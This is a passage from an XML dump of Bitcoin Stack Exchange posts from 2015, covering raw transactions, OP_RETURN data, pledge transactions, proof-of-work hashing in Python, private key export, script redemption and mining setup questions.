'0479b22a5127d176a49d506c86f791031f94a389227ef46a8ddb725a88c944c37e3f753de6ee0b441a0237801f140810e111a1fd8276a2a5d0ee07224a1b551cc1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Giving us a valid signed Tx &lt;em&gt;without using bitcoincore&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;01000000015a800fd903679acfe9d4e2fedb752b24c4d7a574b4c82a113dfb993b3864b772010000008a47304402204d78d2e6c0f801573e4960fb8e51ad939380d119d25f97d15efdedf815b05f02022066bd2ab0b401e32e7ce67ea45f8224097eeafbef2335d563776e5efe6632732d01410479b22a5127d176a49d506c86f791031f94a389227ef46a8ddb725a88c944c37e3f753de6ee0b441a0237801f140810e111a1fd8276a2a5d0ee07224a1b551cc1ffffffff01c09ee605000000001976a914dd6cce9f255a8cc17bda8ba0373df8e861cb866e88ac00000000&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-03-16T03:40:19.920" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36482" PostTypeId="2" ParentId="36478" CreationDate="2015-03-16T06:32:13.160" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;https://chain.com/docs&quot; rel=&quot;nofollow&quot;&gt;Chain.com API&lt;/a&gt; offers functionality for returning &lt;em&gt;OP_RETURN&lt;/em&gt; data by:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://api.chain.com/v2/bitcoin/addresses/1Bj5UVzWQ84iBCUiy5eQ1NEfWfJ4a3yKG1/op-returns?api-key-id=DEMO-4a5e1e4&quot; rel=&quot;nofollow&quot;&gt;Address&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://api.chain.com/v2/bitcoin/transactions/4a7d62a4a5cc912605c46c6a6ef6c4af451255a453e6cbf2b1022766c331f803/op-return?api-key-id=DEMO-4a5e1e4&quot; rel=&quot;nofollow&quot;&gt;TxID&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://api.chain.com/v2/bitcoin/blocks/308920/op-returns?api-key-id=DEMO-4a5e1e4&quot; rel=&quot;nofollow&quot;&gt;Block height&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The JSON return data from the REST API has a &lt;code&gt;text&lt;/code&gt; field which is meant to be the decoded hex data sent (ie &lt;code&gt;6a``hex data&lt;/code&gt;) but it's returned in the format &lt;code&gt;\\x``hex data&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Python you can simply do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import __future__&#xA;import requests; from binascii import unhexlify&#xA;rdata = requests.get(&quot;https://api.chain.com/v2/bitcoin/addresses/%s/op-returns?api-key-id=DEMO-4a5e1e4&quot; % &quot;1Bj5UVzWQ84iBCUiy5eQ1NEfWfJ4a3yKG1&quot;) # substitute URL here&#xA;assert rdata.status_code == 200&#xA;jdata = rdata.json()&#xA;hexdata = [unhexlify(str(t[&quot;text&quot;]).encode(&quot;utf-8&quot;))) for t in jdata&#xA;print(hexdata)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-03-16T06:32:13.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36483" PostTypeId="1" CreationDate="2015-03-16T13:49:04.610" Score="0" ViewCount="65" Body="&lt;p&gt;Is there an obvious way that I can achive the following with Bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An organizer sets a goal: an amount of bitcoins must be gathered within a specific amount of time&lt;/li&gt;&#xA;&lt;li&gt;Random pledgers send an amount within specified boundaries (min/max amounts).&lt;/li&gt;&#xA;&lt;li&gt;If the goal is reached within the specified amount of time, the organizer collects the pledges&lt;/li&gt;&#xA;&lt;li&gt;If the goal is not reached within the specified amount of time, the pledges are returned to the pledgers&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;AFAIU the above model is similar to Mike Hearn's &lt;a href=&quot;http://blog.vinumeris.com/2014/05/17/lighthouse/&quot; rel=&quot;nofollow&quot;&gt;LightHouse project&lt;/a&gt;, however I cannot use this great platform for my project and on top of that I would like to be sure that I'm headed in the right direction, so any ideas and alternatives on how to achieve the above are more than welcome. &lt;/p&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2015-03-16T14:36:58.187" Title="Pledging mechanism using Bitcoin" Tags="|bitcoind|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36484" PostTypeId="2" ParentId="36483" CreationDate="2015-03-16T14:36:58.187" Score="2" Body="&lt;p&gt;Have a look to &lt;a href=&quot;https://bitcoin.org/en/developer-guide#term-sighash-anyonecanpay&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/developer-guide#term-sighash-anyonecanpay&lt;/a&gt;&#xA;&lt;strong&gt;SIGHASH_ALL|SIGHASH_ANYONECANPAY&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Organizer creates transaction with one output and none inputs. Any person can add his funds to this transaction. Once the needed amount is collected the transaction can be sent to a network.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An organizer sets a goal: an amount of bitcoins must be gathered&#xA;  within a specific amount of time&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Seems to me that specifying amount of time is not possible&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Random pledgers send an amount within specified boundaries (min/max&#xA;  amounts).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Fixed amount.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the goal is reached within the specified amount of time, the&#xA;  organizer collects the pledges&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Let us say &quot;if the goal is reached one time the organizer sends this transaction to a network&quot;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the goal is not reached within the specified amount of time, the&#xA;  pledges are returned to the pledgers&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any pledger can re-spend his funds at any time before organizer creates valid transaction&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-03-16T14:36:58.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36485" PostTypeId="2" ParentId="36264" CreationDate="2015-03-16T20:37:21.270" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://getaddr.bitnodes.io/&quot; rel=&quot;nofollow&quot;&gt;Bitnodes&lt;/a&gt; is incentivizing node operators:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;a href=&quot;https://bitcoinmagazine.com/19620/bitnodes-project-issues-first-incentives-node-operators/&quot; rel=&quot;nofollow&quot;&gt;Bitnodes Project Issues First Incentives For Node Operators&lt;/a&gt;&lt;/h1&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-03-16T20:37:21.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36486" PostTypeId="1" CreationDate="2015-03-16T22:53:56.700" Score="0" ViewCount="666" Body="&lt;p&gt;For learning purposes, I want to create an alternative special-purpose blockchain. It would use a proof-of-work function that is different than the one in Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short of forking bitcoin and going from there, where should I look into starting? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data that the blockchain would be storing are public keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin wiki: &lt;a href=&quot;https://en.bitcoin.it/wiki/Alternative_chain&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Alternative_chain&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24717" LastActivityDate="2015-03-19T01:14:01.583" Title="Create alternative blockchain with proof-of-work" Tags="|blockchain|alternatives|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36491" PostTypeId="1" AcceptedAnswerId="36492" CreationDate="2015-03-17T11:34:36.747" Score="0" ViewCount="293" Body="&lt;p&gt;Given the following block, how do I verify the proof of work? I got this data from bitcoin-cli getblock and parsed in to a Ruby hash called data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;hash&quot;=&amp;gt;&quot;00000000000000001354e21fea9c1ec9ac337c8a6c0bda736ec1096663383429&quot;,&#xA; &quot;confirmations&quot;=&amp;gt;2, &quot;size&quot;=&amp;gt;529935, &quot;height&quot;=&amp;gt;347928, &quot;version&quot;=&amp;gt;2,&#xA; &quot;merkleroot&quot;=&amp;gt;&quot;14b2c974a4f9ab92a68f03a491965063d1f8a2e8b2268fdb4cbce92262bb09c0&quot;, &#xA;&quot;tx&quot;=&amp;gt;&quot;..removed for space convenience...&quot;, &quot;time&quot;=&amp;gt;1426554998, &#xA;&quot;nonce&quot;=&amp;gt;3284264479, &quot;bits&quot;=&amp;gt;&quot;18172ec0&quot;, &quot;difficulty&quot;=&amp;gt;47427554950.6483, &#xA;&quot;chainwork&quot;=&amp;gt;&quot;000000000000000000000000000000000000000000056f68a6406c831f16c1bd&quot;, &#xA;&quot;previousblockhash&quot;=&amp;gt;&quot;000000000000000007c464352935f12c3695f7de4eee8390f444233682abf8aa&quot;,     &#xA;&quot;nextblockhash&quot;=&amp;gt;&quot;000000000000000016e3530b3a7cdaaa495e6eb70aa8f3f15d02fd078235e931&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;version = &quot;02000000&quot;&#xA;prev = data[&quot;previousblockhash&quot;]&#xA;merkle = data[&quot;merkleroot&quot;]&#xA;time = data[&quot;time&quot;].to_s(16) #convert to hex&#xA;bits = data[&quot;bits&quot;]&#xA;nonce = data[&quot;nonce&quot;]&#xA;&#xA;hashable = version + prev + merkle + time + bits + nonce&#xA;&#xA;answer = Digest::SHA256.hexdigest hashable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is my answer is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b7dc9db86cdf47bf1b13274f88b14211a1ce58c52ac1e41c987b4ad65cf50f4f&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the given answer (in data[&quot;hash&quot;]) is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;00000000000000001354e21fea9c1ec9ac337c8a6c0bda736ec1096663383429&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help,&#xA;Kevin&lt;/p&gt;&#xA;" OwnerUserId="24730" LastEditorUserId="24730" LastEditDate="2015-03-17T11:51:42.563" LastActivityDate="2015-03-17T12:23:40.387" Title="Sample proof of work in Ruby, what am I doing wrong?" Tags="|proof-of-work|ruby|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36492" PostTypeId="2" ParentId="36491" CreationDate="2015-03-17T12:23:40.387" Score="1" Body="&lt;p&gt;A few things that need to be fixed here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Endianness - The data given to you in JSON is almost completely in big endian but bitcoin uses little endian to serialize block headers before hashing. &lt;/li&gt;&#xA;&lt;li&gt;You need to double hash the result with SHA256, meaning apply it once on the header and then apply the algorithm again on the result of the first hash.&lt;/li&gt;&#xA;&lt;li&gt;Conversion to binary before hashing. You can't just hash the ascii characters, as those are just an encoding for the underlying binary, which is what is meant to be hashed. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm not very familiar with Ruby, but I made a short python script that you can use as a reference.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import hashlib&#xA;import binascii&#xA;&#xA;def rev(string):&#xA;    revsed = &quot;&quot;&#xA;    for i in range(int(len(string)/2)):&#xA;        revsed = string[2*i : 2*i+2] + revsed&#xA;    return revsed&#xA;&#xA;def DoubleHash(string):&#xA;    bin = binascii.unhexlify(string)&#xA;    hash = hashlib.sha256(hashlib.sha256(bin).digest()).digest()&#xA;    raw = str(binascii.hexlify(hash))[2:-1]&#xA;    return rev(raw)&#xA;&#xA;&#xA;# Straight from JSON&#xA;&#xA;version = &quot;02000000&quot;&#xA;prev    = &quot;000000000000000007c464352935f12c3695f7de4eee8390f444233682abf8aa&quot;&#xA;merkle  = &quot;14b2c974a4f9ab92a68f03a491965063d1f8a2e8b2268fdb4cbce92262bb09c0&quot;&#xA;time    = &quot;55078076&quot; # hex(1426554998)&#xA;bits    = &quot;18172ec0&quot;&#xA;nonce   = &quot;c3c1e61f&quot; # hex(3284264479)&#xA;&#xA;header = version + rev(prev) + rev(merkle) + rev(time) + rev(bits) + rev(nonce)&#xA;&#xA;print(header)&#xA;print(DoubleHash(header))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;02000000aaf8ab82362344f49083ee4edef795362cf135293564c4070000000000000000c009bb6222e9bc4cdb8f26b2e8a2f8d163509691a4038fa692abf9a474c9b21476800755c02e17181fe6c1c3&#xA;00000000000000001354e21fea9c1ec9ac337c8a6c0bda736ec1096663383429&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-03-17T12:23:40.387" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36493" PostTypeId="2" ParentId="12763" CreationDate="2015-03-18T01:12:05.350" Score="4" Body="&lt;p&gt;If you export the private keys for the addresses you want to keep then you are literally your own bank, most wallets allow you to import private keys in some way. I don't know the specifics of doing it on Electrum though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To export from bitcoin-qt go into the debug console from the menus, and enter&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dumpprivkey &quot;1bitcoinaddresshere&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Keep that key safe - it is the key to all coins in that address now, past &amp;amp; future. Don't leave it on your desktop or dropbox, preferably carefully copy and paste it into the other wallet without writing to disk.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2015-03-18T01:12:05.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36496" PostTypeId="1" CreationDate="2015-03-18T10:16:43.210" Score="1" ViewCount="467" Body="&lt;p&gt;Th testnet &lt;a href=&quot;http://test.webbtc.com/tx/8d897ca91774a7fafa086a3275e679248d6bffee015d3b2efefd5dab00df152d.json&quot; rel=&quot;nofollow&quot;&gt;TxID 8d897ca91774a7fafa086a3275e679248d6bffee015d3b2efefd5dab00df152d&lt;/a&gt; has the following &lt;strong&gt;scriptPubKey&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;scriptPubKey: &quot;OP_DUP OP_HASH160&#xA;  5f1426c2ce4a8e1abaa9dbe819b6303eb8a25a26 OP_EQUALVERIFY&#xA;  OP_CHECKSIGVERIFY OP_IF OP_DUP OP_HASH160&#xA;  6c7ceafe76c56843c9d2868f616fdc9370355eb9 OP_EQUALVERIFY OP_CHECKSIG&#xA;  OP_ELSE OP_HASH256&#xA;  644d79d87e0907833e888e272e5d7b925deb261a8499a65cbc0bf26797a15e8e&#xA;  OP_EQUAL OP_ENDIF&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://test.webbtc.com/script/2d0daa01da8294a54178f8111eb2a02010c425fd15957d8baee8717edcfbe105:0&quot; rel=&quot;nofollow&quot;&gt;Looking at the script&lt;/a&gt; of the redeeming Tx (&lt;a href=&quot;http://test.webbtc.com/tx/2d0daa01da8294a54178f8111eb2a02010c425fd15957d8baee8717edcfbe105.json&quot; rel=&quot;nofollow&quot;&gt;TxID: 2d0daa01da8294a54178f8111eb2a02010c425fd15957d8baee8717edcfbe105&lt;/a&gt;) we see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;7e&lt;/code&gt; &lt;code&gt;10&lt;/code&gt; &lt;code&gt;3ceb50edd0282cd99dc59351f513dcdf&lt;/code&gt; &lt;code&gt;00&lt;/code&gt; &lt;code&gt;der sig&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I can see essentially that because &lt;code&gt;sha256(sha256(3ceb50edd0282cd99dc59351f513dcdf))&lt;/code&gt; = &lt;code&gt;644d79d87e0907833e888e272e5d7b925deb261a8499a65cbc0bf26797a15e8e&lt;/code&gt; the script is validated as True.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm attempting to understand how this is working but am consistently getting an error code 26 (OP_EQUALVERIFY failure) for this attempt at &lt;code&gt;sendrawtransaction&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where exactly is this problem occurring?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;em&gt;in general&lt;/em&gt;, if one needs to push data onto the stack &lt;em&gt;before the der signature&lt;/em&gt;, how is it done? Is the data added to the scriptSig field then signed, or signed, then added to the scriptSig? (I'm having trouble visualising the stack even with &lt;a href=&quot;http://test.webbtc.com/script/2d0daa01da8294a54178f8111eb2a02010c425fd15957d8baee8717edcfbe105:0&quot; rel=&quot;nofollow&quot;&gt;this interactive scenario at webbtc&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-03-18T10:39:28.187" Title="How to redeem Non-standard script Tx (testnet instance)" Tags="|raw-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36497" PostTypeId="2" ParentId="36496" CreationDate="2015-03-18T10:39:28.187" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;http://test.webbtc.com/tx/2d0daa01da8294a54178f8111eb2a02010c425fd15957d8baee8717edcfbe105.json&quot; rel=&quot;nofollow&quot;&gt;first redeeming transaction&lt;/a&gt; has a scriptSig in the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;value to be double hashed&amp;gt; 0 &amp;lt;signature&amp;gt; &amp;lt;public key&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That &lt;code&gt;7e&lt;/code&gt; is a red herring - it's the size of the scriptSig. Similarly, the &lt;code&gt;10&lt;/code&gt; is the size of the data to be hashed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second transaction appears to be attempting to spend &lt;a href=&quot;http://blockexplorer.com/testnet/tx/e5e4a5a46547f3386e6ea0810b940268dc8ecc2d7936101053cccb0100e86132&quot; rel=&quot;nofollow&quot;&gt;a standard output&lt;/a&gt;. It appears to be trying to spend this using a key that doesn't hash to the right value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see this by pasting the following script into &lt;a href=&quot;http://www.cs.princeton.edu/~tongbinw/bitcoinIDE/build/editor.html&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Script IDE&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;042daa93315eebbe2cb9b5c3505df4c6fb6caca8b756786098567550d4820c09db988fe9997d049d687292f815ccd6e7fb5c1b1a91137999818d17c73d0f80aef9 OP_DUP OP_HASH160 e900510876cb689f1db6fa982376c301362b740c OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-03-18T10:39:28.187" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36499" PostTypeId="2" ParentId="35612" CreationDate="2015-03-18T13:49:30.730" Score="4" Body="&lt;p&gt;I think i had the same problem when running locally.&#xA;Forgot to do the initial DB migration.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bundle exec rake db:migrate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after this, it worked for me&lt;/p&gt;&#xA;" OwnerUserId="16922" LastActivityDate="2015-03-18T13:49:30.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36500" PostTypeId="1" AcceptedAnswerId="36504" CreationDate="2015-03-18T14:41:54.420" Score="2" ViewCount="1433" Body="&lt;p&gt;This is a follow-up question to: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/194/what-happens-if-i-mistype-the-address-when-making-a-payment&quot;&gt;What happens if I mistype the address when making a payment?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scenario:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You're trying to send bitcoins to an address.&lt;/li&gt;&#xA;&lt;li&gt;You type in the wrong address, but the address (as unlikely as it may be) is well-formed. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What Happens?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The wallet belongs to someone and you've just sent him money. (Can one contact this person and ask for it to be returned?) The key phrase is &quot;can one contact&quot; not &quot;can you force him to give it back.&quot;&lt;/li&gt;&#xA;&lt;li&gt;The wallet (as seen in the quote below) is unowned and the bitcoins are lost!?!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bitcoin addresses contain a built-in check code, so it's generally not possible to send Bitcoins to a mistyped address. However, if the address is well-formed but no one owns it (or the owner lost their wallet.dat), any coins sent to that address will be lost forever.&#xA;  &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is it lost?&lt;/strong&gt; Or, if and when, this wallet is created are the &quot;missing&quot; bitcoins attached to it?&lt;/p&gt;&#xA;" OwnerUserId="23038" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-03-18T17:40:40.260" Title="Sending bitcoins to an un-owned, well-formed wallet" Tags="|wallet|address|sending|lost-bitcoins|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36501" PostTypeId="2" ParentId="36500" CreationDate="2015-03-18T14:50:56.333" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The wallet belongs to someone and you've just sent him money. (Can one&#xA;  contact this person and ask for it to be returned?) The key phrase is&#xA;  &quot;can one contact&quot; not &quot;can you force him to give it back.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not unless the owner of that address has publicly stated that she owns that address (perhaps on her blog or on a forum? Try googling).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The wallet (as seen in the quote below) is unowned and is lost!?!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If the receiving address is valid and has not been used (you can find out from any online blockchain explorer), then it is highly likely that you've sent your coins to an address that nobody can claim (yet). In fact, it is almost certain that nobody will ever be able to generate a private key for that address. Therefore those coins will most likely be stuck in that address forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if the receiving address has been used, then there's a possibility of you getting in touch with that person and hope for her kindness. The problem is that there's no facility in Bitcoin for getting to know the identity behind a bitcoin address unless they explicitly provide this information.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-03-18T14:50:56.333" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36502" PostTypeId="2" ParentId="36486" CreationDate="2015-03-18T16:23:03.080" Score="1" Body="&lt;p&gt;What you're asking to do here is actually the definition of forking bitcoin.&#xA;Short of doing this yourself in code, there are services such as &lt;a href=&quot;http://coincreator.net/&quot; rel=&quot;nofollow&quot;&gt;http://coincreator.net/&lt;/a&gt; that will accomplish your goal. CoinCreator allows for you to pick your proof-of-work function from a set of predefined functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good Luck!&lt;/p&gt;&#xA;" OwnerUserId="24749" LastActivityDate="2015-03-18T16:23:03.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36503" PostTypeId="1" AcceptedAnswerId="36506" CreationDate="2015-03-18T16:40:40.670" Score="2" ViewCount="170" Body="&lt;p&gt;I've manually set many nodes in my &lt;code&gt;bitcoin.conf&lt;/code&gt; file via the &lt;code&gt;connect=&lt;/code&gt; property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see that, when run, &lt;code&gt;bitcoind&lt;/code&gt; connects to most of these nodes successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I never see any blocks being downloaded.  I can only get blocks downloading if I either change the &lt;code&gt;connect=&lt;/code&gt; properties to &lt;code&gt;addnode=&lt;/code&gt;, or remove the &lt;code&gt;connect=&lt;/code&gt; properties altogether.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why this is the case?&lt;/p&gt;&#xA;" OwnerUserId="22898" LastEditorUserId="5406" LastEditDate="2015-03-18T17:25:07.697" LastActivityDate="2015-03-19T21:12:17.337" Title="Why does `connect` perform worse than `addnode` for synchronization?" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36504" PostTypeId="2" ParentId="36500" CreationDate="2015-03-18T16:49:22.570" Score="3" Body="&lt;p&gt;Most transactions create an &lt;strong&gt;Unspent Transaction Output (UTXO)&lt;/strong&gt; which can only be spent by the owner of the corresponding recipient address. Any &quot;well-formed address&quot; can receive such a transaction, whether it has been used before or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should somebody own the address, they might try to send the money back to the original sending address, however, &lt;a href=&quot;https://bitcoin.stackexchange.com/a/2372/5406&quot;&gt;it is not certain that the sender owns the address that he sent from&lt;/a&gt;. It would probably be better to try to contact the other via one of the numerous bitcoin forums: Since addresses are unique, they make great search terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should nobody own the address, the coins are likely to be &quot;lost&quot;, in the sense that they would be spendable, but nobody will ever generate the corresponding private key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/4919/5406&quot;&gt;What would happen if you send bitcoins to a non-existent Bitcoin address?&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/31/5406&quot;&gt;Is it possible to brute force bitcoin address creation in order to steal money?&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2015-03-18T17:40:40.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36505" PostTypeId="1" AcceptedAnswerId="36508" CreationDate="2015-03-18T16:56:26.053" Score="1" ViewCount="1304" Body="&lt;p&gt;It's possible to send shares both to a localhost GBT &quot;pool&quot; (e.g., Bitcoin Core's) and to a remote Stratum pool.* Now, if I discover a block, won't both my localhost GBT &quot;pool&quot; and the remote pool claim it as theirs? This appears to be known as the &quot;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=877081.msg10724466#msg10724466&quot; rel=&quot;nofollow&quot;&gt;selfish mining attack&lt;/a&gt;.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;*using, e.g., &lt;a href=&quot;https://bitcointalk.org/index.php?topic=877081.msg9686533#msg9686533&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bfgminer&lt;/code&gt;&lt;/a&gt;'s &lt;code&gt;#allblocks&lt;/code&gt; option, which offers &quot;Support for submitting found blocks to a local Bitcoin GBT server (bitcoind or Bitcoin-Qt with -server flag): just append #allblocks to the end of your bitcoind's URI.&quot; (&lt;a href=&quot;https://bitcointalk.org/index.php?topic=877081.msg9686533#msg9686533&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-03-18T22:13:28.010" Title="Simultaneously Solo and Pool Mining" Tags="|mining-pools|attack|solo-mining|bfgminer|stratum|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
